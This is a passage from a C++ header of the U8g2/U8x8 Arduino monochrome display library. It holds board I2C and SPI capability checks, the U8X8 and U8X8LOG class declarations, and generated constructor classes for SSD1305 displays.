U8X8LIB_HH #ifdef ARDUINO #include #include #endif #include "clib/u8x8.h" /* Uncomment this to switch off Wire.setClock() invocations. This is useful if you connect multiple devices to the same I2C bus that is used for the monochrome display. For example the Arduino Nano RP2040 connect uses the only I2C bus already for the internal communication with the integrated on-board components wifi, crypto and accelerometer and does not work correctly if the U8g2 library modifies the I2c clock speed. Instead of uncommenting the line below (which needs a library modification) you can also just add the following define before including the U8x8lib header: #define U8X8_DO_NOT_SET_WIRE_CLOCK #include "U8x8lib.h" */ // #define U8X8_DO_NOT_SET_WIRE_CLOCK /* Uncomment this to enable AVR optimization for I2C This is disabled by default, because it will not correctly set the pullups. Instead the SW will always drive the I2C bus. */ //#define U8X8_USE_ARDUINO_AVR_SW_I2C_OPTIMIZATION /* Uncomment this to enable Teensy 3 I2C-Library i2c_t3 This can/should be used for Teensy >= 3 and Teensy LC. */ // #define U8X8_HAVE_HW_I2C_TEENSY3 /* Assumption: All Arduino Boards have "SPI.h" */ #ifndef U8X8_NO_HW_SPI #define U8X8_HAVE_HW_SPI #endif /* Assumption: All Arduino Boards have "Wire.h" */ #ifndef U8X8_NO_HW_I2C #define U8X8_HAVE_HW_I2C #endif /* Undefine U8X8_HAVE_HW_SPI for those Boards without SPI.h */ #ifdef ARDUINO_AVR_DIGISPARK #ifdef KENDRYTE_K210 #ifdef U8X8_HAVE_HW_SPI #undef U8X8_HAVE_HW_SPI #endif #endif #ifdef U8X8_HAVE_HW_SPI #undef U8X8_HAVE_HW_SPI #endif #ifdef U8X8_HAVE_HW_I2C #undef U8X8_HAVE_HW_I2C #endif #endif #ifdef __AVR_ATtiny85__ #ifdef U8X8_HAVE_HW_SPI #undef U8X8_HAVE_HW_SPI #endif #ifdef U8X8_HAVE_HW_I2C #undef U8X8_HAVE_HW_I2C #endif #endif /* ATmegaXXM1 do not have I2C */ #if defined(__AVR_ATmega16M1__) || defined(__AVR_ATmega32M1__) || defined(__AVR_ATmega64M1__) #ifdef U8X8_HAVE_HW_I2C #undef U8X8_HAVE_HW_I2C #endif #endif /* ATmegaXXC1 do not have I2C */ #if defined(__AVR_ATmega16C1__) || defined(__AVR_ATmega32C1__) || defined(__AVR_ATmega64C1__) #ifdef U8X8_HAVE_HW_I2C #undef U8X8_HAVE_HW_I2C #endif #endif /* define U8X8_HAVE_2ND_HW_I2C if the board has a second wire interface*/ #ifdef U8X8_HAVE_HW_I2C #ifdef WIRE_INTERFACES_COUNT #if WIRE_INTERFACES_COUNT > 1 #define U8X8_HAVE_2ND_HW_I2C #endif #endif #endif /* U8X8_HAVE_HW_I2C */ /* define U8X8_HAVE_2ND_HW_SPI if the board has a second wire interface*/ /* As of writing this, I did not found any official board which supports this */ /* so this is not tested (May 2017), issue #224 */ /* fixed ifdef, #410, #377 */ /* meanwhile it is defined e.g. here: https://github.com/arduino/ArduinoCore-samd/blob/master/variants/mkrzero/variant.h#L91 */ /* so it should be available for mkrzero */ #ifdef SPI_INTERFACES_COUNT #if SPI_INTERFACES_COUNT > 1 #define U8X8_HAVE_2ND_HW_SPI #endif #endif extern "C" uint8_t u8x8_gpio_and_delay_arduino(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); extern "C" uint8_t u8x8_byte_arduino_8bit_8080mode(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); extern "C" uint8_t u8x8_byte_arduino_4wire_sw_spi(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); extern "C" uint8_t u8x8_byte_arduino_3wire_sw_spi(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); extern "C" uint8_t u8x8_byte_arduino_3wire_hw_spi(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); extern "C" uint8_t u8x8_byte_arduino_hw_spi(u8x8_t *u8g2, uint8_t msg, uint8_t arg_int, void *arg_ptr); extern "C" uint8_t u8x8_byte_arduino_2nd_hw_spi(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); /* #244 */ extern "C" uint8_t u8x8_byte_arduino_sw_i2c(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); extern "C" uint8_t u8x8_byte_arduino_hw_i2c(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); extern "C" uint8_t u8x8_byte_arduino_2nd_hw_i2c(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); extern "C" uint8_t u8x8_byte_arduino_ks0108(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr); #ifdef U8X8_USE_PINS void u8x8_SetPin_4Wire_SW_SPI(u8x8_t *u8x8, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset); void u8x8_SetPin_3Wire_SW_SPI(u8x8_t *u8x8, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset); void u8x8_SetPin_3Wire_HW_SPI(u8x8_t *u8x8, uint8_t cs, uint8_t reset); void u8x8_SetPin_4Wire_HW_SPI(u8x8_t *u8x8, uint8_t cs, uint8_t dc, uint8_t reset); void u8x8_SetPin_ST7920_HW_SPI(u8x8_t *u8x8, uint8_t cs, uint8_t reset); void u8x8_SetPin_SW_I2C(u8x8_t *u8x8, uint8_t clock, uint8_t data, uint8_t reset); void u8x8_SetPin_HW_I2C(u8x8_t *u8x8, uint8_t reset, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE); void u8x8_SetPin_8Bit_6800(u8x8_t *u8x8, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset); void u8x8_SetPin_8Bit_8080(u8x8_t *u8x8, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t wr, uint8_t cs, uint8_t dc, uint8_t reset); void u8x8_SetPin_KS0108(u8x8_t *u8x8, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t dc, uint8_t cs0, uint8_t cs1, uint8_t cs2, uint8_t reset); void u8x8_SetPin_SED1520(u8x8_t *u8x8, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t dc, uint8_t e1, uint8_t e2, uint8_t reset); #endif //void u8x8_Setup_4Wire_SW_SPI(u8x8_t *u8x8, u8x8_msg_cb display_cb, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset); //void u8x8_Setup_3Wire_SW_SPI(u8x8_t *u8x8, u8x8_msg_cb display_cb, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset); //void u8x8_Setup_4Wire_HW_SPI(u8x8_t *u8x8, u8x8_msg_cb display_cb, uint8_t cs, uint8_t dc, uint8_t reset); //void u8x8_Setup_SSD13xx_SW_I2C(u8x8_t *u8x8, u8x8_msg_cb display_cb, uint8_t clock, uint8_t data, uint8_t reset); //void u8x8_Setup_8Bit_6800(u8x8_t *u8x8, u8x8_msg_cb display_cb, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset); //void u8x8_Setup_8Bit_8080(u8x8_t *u8x8, u8x8_msg_cb display_cb, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t wr, uint8_t cs, uint8_t dc, uint8_t reset); class U8X8 #ifdef ARDUINO : public Print #endif { protected: u8x8_t u8x8; public: uint8_t tx, ty; U8X8(void) { home(); } u8x8_t *getU8x8(void) { return &u8x8; } void sendF(const char *fmt, ...) { va_list va; va_start(va, fmt); u8x8_cad_vsendf(&u8x8, fmt, va); va_end(va); } uint32_t getBusClock(void) { return u8x8.bus_clock; } void setBusClock(uint32_t clock_speed) { u8x8.bus_clock = clock_speed; } void setI2CAddress(uint8_t adr) { u8x8_SetI2CAddress(&u8x8, adr); } uint8_t getCols(void) { return u8x8_GetCols(&u8x8); } uint8_t getRows(void) { return u8x8_GetRows(&u8x8); } void drawTile(uint8_t x, uint8_t y, uint8_t cnt, uint8_t *tile_ptr) { u8x8_DrawTile(&u8x8, x, y, cnt, tile_ptr); } #ifdef U8X8_WITH_USER_PTR void *getUserPtr() { return u8x8_GetUserPtr(&u8x8); } void setUserPtr(void *p) { u8x8_SetUserPtr(&u8x8, p); } #endif #ifdef U8X8_USE_PINS /* set the menu pins before calling begin() or initDisplay() */ void setMenuSelectPin(uint8_t val) { u8x8_SetMenuSelectPin(&u8x8, val); } void setMenuPrevPin(uint8_t val) { u8x8_SetMenuPrevPin(&u8x8, val); } void setMenuNextPin(uint8_t val) { u8x8_SetMenuNextPin(&u8x8, val); } void setMenuUpPin(uint8_t val) { u8x8_SetMenuUpPin(&u8x8, val); } void setMenuDownPin(uint8_t val) { u8x8_SetMenuDownPin(&u8x8, val); } void setMenuHomePin(uint8_t val) { u8x8_SetMenuHomePin(&u8x8, val); } #endif void initDisplay(void) { u8x8_InitDisplay(&u8x8); } /* call initInterface if the uC comes out of deep sleep mode and display is already running */ /* initInterface is part if initDisplay, do not call both use either initDisplay OR initInterface */ void initInterface(void) { u8x8_InitInterface(&u8x8); } void clearDisplay(void) { u8x8_ClearDisplay(&u8x8); } void fillDisplay(void) { u8x8_FillDisplay(&u8x8); } void setPowerSave(uint8_t is_enable) { u8x8_SetPowerSave(&u8x8, is_enable); } bool begin(void) { initDisplay(); clearDisplay(); setPowerSave(0); return 1; } #ifdef U8X8_USE_PINS /* use U8X8_PIN_NONE if a pin is not required */ bool begin(uint8_t menu_select_pin, uint8_t menu_next_pin, uint8_t menu_prev_pin, uint8_t menu_up_pin = U8X8_PIN_NONE, uint8_t menu_down_pin = U8X8_PIN_NONE, uint8_t menu_home_pin = U8X8_PIN_NONE) { setMenuSelectPin(menu_select_pin); setMenuNextPin(menu_next_pin); setMenuPrevPin(menu_prev_pin); setMenuUpPin(menu_up_pin); setMenuDownPin(menu_down_pin); setMenuHomePin(menu_home_pin); return begin(); } #endif void setFlipMode(uint8_t mode) { u8x8_SetFlipMode(&u8x8, mode); } void refreshDisplay(void) { // Dec 16: Only required for SSD1606 u8x8_RefreshDisplay(&u8x8); } void clearLine(uint8_t line) { u8x8_ClearLine(&u8x8, line); } void setContrast(uint8_t value) { u8x8_SetContrast(&u8x8, value); } void setInverseFont(uint8_t value) { u8x8_SetInverseFont(&u8x8, value); } void setFont(const uint8_t *font_8x8) { u8x8_SetFont(&u8x8, font_8x8); } void drawGlyph(uint8_t x, uint8_t y, uint8_t encoding) { u8x8_DrawGlyph(&u8x8, x, y, encoding); } void draw2x2Glyph(uint8_t x, uint8_t y, uint8_t encoding) { u8x8_Draw2x2Glyph(&u8x8, x, y, encoding); } void draw1x2Glyph(uint8_t x, uint8_t y, uint8_t encoding) { u8x8_Draw1x2Glyph(&u8x8, x, y, encoding); } void drawString(uint8_t x, uint8_t y, const char *s) { u8x8_DrawString(&u8x8, x, y, s); } void drawUTF8(uint8_t x, uint8_t y, const char *s) { u8x8_DrawUTF8(&u8x8, x, y, s); } void draw2x2String(uint8_t x, uint8_t y, const char *s) { u8x8_Draw2x2String(&u8x8, x, y, s); } void draw1x2String(uint8_t x, uint8_t y, const char *s) { u8x8_Draw1x2String(&u8x8, x, y, s); } void draw2x2UTF8(uint8_t x, uint8_t y, const char *s) { u8x8_Draw2x2UTF8(&u8x8, x, y, s); } void draw1x2UTF8(uint8_t x, uint8_t y, const char *s) { u8x8_Draw1x2UTF8(&u8x8, x, y, s); } uint8_t getUTF8Len(const char *s) { return u8x8_GetUTF8Len(&u8x8, s); } size_t write(uint8_t v); /* code extended and moved to .cpp file, issue 74 size_t write(uint8_t v) { u8x8_DrawGlyph(&u8x8, tx, ty, v); tx++; return 1; } */ size_t write(const uint8_t *buffer, size_t size) { size_t cnt = 0; while( size > 0 ) { cnt += write(*buffer++); size--; } return cnt; } void inverse(void) { setInverseFont(1); } void noInverse(void) { setInverseFont(0); } /* return 0 for no event or U8X8_MSG_GPIO_MENU_SELECT, */ /* U8X8_MSG_GPIO_MENU_NEXT, U8X8_MSG_GPIO_MENU_PREV, */ /* U8X8_MSG_GPIO_MENU_HOME */ uint8_t getMenuEvent(void) { return u8x8_GetMenuEvent(&u8x8); } uint8_t userInterfaceSelectionList(const char *title, uint8_t start_pos, const char *sl) { return u8x8_UserInterfaceSelectionList(&u8x8, title, start_pos, sl); } uint8_t userInterfaceMessage(const char *title1, const char *title2, const char *title3, const char *buttons) { return u8x8_UserInterfaceMessage(&u8x8, title1, title2, title3, buttons); } uint8_t userInterfaceInputValue(const char *title, const char *pre, uint8_t *value, uint8_t lo, uint8_t hi, uint8_t digits, const char *post) { return u8x8_UserInterfaceInputValue(&u8x8, title, pre, value, lo, hi, digits, post); } /* LiquidCrystal compatible functions */ void home(void) { tx = 0; ty = 0; } void clear(void) { clearDisplay(); home(); } void noDisplay(void) { u8x8_SetPowerSave(&u8x8, 1); } void display(void) { u8x8_SetPowerSave(&u8x8, 0); } void setCursor(uint8_t x, uint8_t y) { tx = x; ty = y; } void drawLog(uint8_t x, uint8_t y, class U8X8LOG &u8x8log); }; class U8X8LOG #ifdef ARDUINO : public Print #endif { public: u8log_t u8log; /* the constructor does nothing, use begin() instead */ U8X8LOG(void) { } /* connect to u8g2, draw to u8g2 whenever required */ bool begin(class U8X8 &u8x8, uint8_t width, uint8_t height, uint8_t *buf) { u8log_Init(&u8log, width, height, buf); u8log_SetCallback(&u8log, u8log_u8x8_cb, u8x8.getU8x8()); return true; } /* disconnected version, manual redraw required */ bool begin(uint8_t width, uint8_t height, uint8_t *buf) { u8log_Init(&u8log, width, height, buf); return true; } void setLineHeightOffset(int8_t line_height_offset) { u8log_SetLineHeightOffset(&u8log, line_height_offset); } void setRedrawMode(uint8_t is_redraw_line_for_each_char) { u8log_SetRedrawMode(&u8log, is_redraw_line_for_each_char); } /* virtual function for print base class */ size_t write(uint8_t v) { u8log_WriteChar(&u8log, v); return 1; } size_t write(const uint8_t *buffer, size_t size) { size_t cnt = 0; while( size > 0 ) { cnt += write(*buffer++); size--; } return cnt; } void writeString(const char *s) { u8log_WriteString(&u8log, s); } void writeChar(uint8_t c) { u8log_WriteChar(&u8log, c); } void writeHex8(uint8_t b) { u8log_WriteHex8(&u8log, b); } void writeHex16(uint16_t v) { u8log_WriteHex16(&u8log, v); } void writeHex32(uint32_t v) { u8log_WriteHex32(&u8log, v); } void writeDec8(uint8_t v, uint8_t d) { u8log_WriteDec8(&u8log, v, d); } void writeDec16(uint8_t v, uint8_t d) { u8log_WriteDec16(&u8log, v, d); } }; /* u8log_u8x8.c */ inline void U8X8::drawLog(uint8_t x, uint8_t y, class U8X8LOG &u8x8log) { u8x8_DrawLog(&u8x8, x, y, &(u8x8log.u8log)); } #ifdef U8X8_USE_PINS class U8X8_NULL : public U8X8 { public: U8X8_NULL(void) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_null_cb, u8x8_cad_empty, u8x8_byte_empty, u8x8_dummy_cb); } }; // constructor list start /* generated code (codebuild), u8g2 project */ class U8X8_SSD1305_128X32_NONAME_4W_SW_SPI : public U8X8 { public: U8X8_SSD1305_128X32_NONAME_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1305_128x32_noname, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_SSD1305_128X32_NONAME_4W_HW_SPI : public U8X8 { public: U8X8_SSD1305_128X32_NONAME_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1305_128x32_noname, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1305_128X32_NONAME_2ND_4W_HW_SPI : public U8X8 { public: U8X8_SSD1305_128X32_NONAME_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1305_128x32_noname, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1305_128X32_NONAME_6800 : public U8X8 { public: U8X8_SSD1305_128X32_NONAME_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1305_128x32_noname, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1305_128X32_NONAME_8080 : public U8X8 { public: U8X8_SSD1305_128X32_NONAME_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1305_128x32_noname, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1305_128X32_ADAFRUIT_4W_SW_SPI : public U8X8 { public: U8X8_SSD1305_128X32_ADAFRUIT_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1305_128x32_adafruit, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_SSD1305_128X32_ADAFRUIT_4W_HW_SPI : public U8X8 { public: U8X8_SSD1305_128X32_ADAFRUIT_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1305_128x32_adafruit, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1305_128X32_ADAFRUIT_2ND_4W_HW_SPI : public U8X8 { public: U8X8_SSD1305_128X32_ADAFRUIT_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1305_128x32_adafruit, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1305_128X32_ADAFRUIT_6800 : public U8X8 { public: U8X8_SSD1305_128X32_ADAFRUIT_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1305_128x32_adafruit, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1305_128X32_ADAFRUIT_8080 : public U8X8 { public: U8X8_SSD1305_128X32_ADAFRUIT_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1305_128x32_adafruit, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1305_128X32_NONAME_SW_I2C : public U8X8 { public: U8X8_SSD1305_128X32_NONAME_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1305_128x32_noname, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_SSD1305_128X32_NONAME_HW_I2C : public U8X8 { public: U8X8_SSD1305_128X32_NONAME_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1305_128x32_noname, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_SSD1305_128X32_NONAME_2ND_HW_I2C : public U8X8 { public: U8X8_SSD1305_128X32_NONAME_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1305_128x32_noname, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_SSD1305_128X32_ADAFRUIT_SW_I2C : public U8X8 { public: U8X8_SSD1305_128X32_ADAFRUIT_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1305_128x32_adafruit, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_SSD1305_128X32_ADAFRUIT_HW_I2C : public U8X8 { public: U8X8_SSD1305_128X32_ADAFRUIT_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1305_128x32_adafruit, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_SSD1305_128X32_ADAFRUIT_2ND_HW_I2C : public U8X8 { public: U8X8_SSD1305_128X32_ADAFRUIT_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1305_128x32_adafruit, u8x8_cad_ssd13xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_SSD1305_128X64_ADAFRUIT_4W_SW_SPI : public U8X8 { public: U8X8_SSD1305_128X64_ADAFRUIT_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1305_128x64_adafruit, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_SSD1305_128X64_ADAFRUIT_4W_HW_SPI : public U8X8 { public: U8X8_SSD1305_128X64_ADAFRUIT_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1305_128x64_adafruit, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1305_128X64_ADAFRUIT_2ND_4W_HW_SPI : public U8X8 { public: U8X8_SSD1305_128X64_ADAFRUIT_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1305_128x64_adafruit, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1305_128X64_ADAFRUIT_6800 : public U8X8 { public: U8X8_SSD1305_128X64_ADAFRUIT_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1305_128x64_adafruit, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1305_128X64_ADAFRUIT_8080 : public U8X8 { public: U8X8_SSD1305_128X64_ADAFRUIT_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1305_128x64_adafruit, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1305_128X64_RAYSTAR_4W_SW_SPI : public U8X8 { public: U8X8_SSD1305_128X64_RAYSTAR_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1305_128x64_raystar, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_SSD1305_128X64_RAYSTAR_4W_HW_SPI : public U8X8 { public: U8X8_SSD1305_128X64_RAYSTAR_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1305_128x64_raystar, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1305_128X64_RAYSTAR_2ND_4W_HW_SPI : public U8X8 { public: U8X8_SSD1305_128X64_RAYSTAR_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1305_128x64_raystar, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SSD1305_128X64_RAYSTAR_6800 : public U8X8 { public: U8X8_SSD1305_128X64_RAYSTAR_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1305_128x64_raystar, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1305_128X64_RAYSTAR_8080 : public U8X8 { public: U8X8_SSD1305_128X64_RAYSTAR_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_ssd1305_128x64_raystar, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SSD1305_128X64_ADAFRUIT_SW_I2C : public U8X8 { public: 